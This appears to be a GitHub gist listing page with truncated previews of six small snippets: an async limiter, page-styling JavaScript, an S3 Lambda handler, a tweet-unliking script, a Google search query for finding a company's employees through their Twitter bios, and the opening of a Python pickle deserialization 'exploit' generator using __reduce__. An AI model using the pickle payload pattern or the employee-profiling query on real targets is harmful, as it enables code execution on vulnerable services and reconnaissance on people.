This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Limit concurrent asynchronous execution of a function. | |
* | |
* Stolen from this: | |
* https://dev.to/ycmjason/limit-concurrent-asynchronous-calls-5bae | |
* | |
* @param fn {Function} async function | |
* @paranm n {Number} max execution concurrency | |
*/ | |
const asyncLimit = (fn, n) => { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
const dbs = document.body.style; | |
dbs.color = '#eee'; | |
dbs.background = '#222'; | |
dbs.width = '800px'; | |
dbs.margin = '0 auto'; | |
console.log('it works fuck off'); | |
for (const d of document.getElementsByClassName('docinfo')) { | |
d.style.background = '#111'; | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# find people who put their place of work in their twitter bio | |
site:twitter.com -inurl:status -inurl:statuses -inurl:lists -inurl:COMPANY "@COMPANY" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.onscroll = (() => { | |
let totalUnliked = 0; | |
return async () => { | |
const tweets = document.querySelectorAll('[role="article"]'); | |
await tweets.forEach(async e => { | |
const likeButton = document.querySelector('[data-testid="unlike"]'); | |
if (typeof likeButton !== 'undefined' && likeButton) { | |
await likeButton.click(); | |
totalUnliked += 1; | |
console.log(totalUnliked); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import boto3 | |
s3 = boto3.client('s3') | |
def lambda_handler(event, context): | |
# s3 trigger can have multiple records |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import codecs | |
import pickle | |
import subprocess | |
def exploit(cmd): | |
class Exploit(object): | |
def __reduce__(self): |
NewerOlder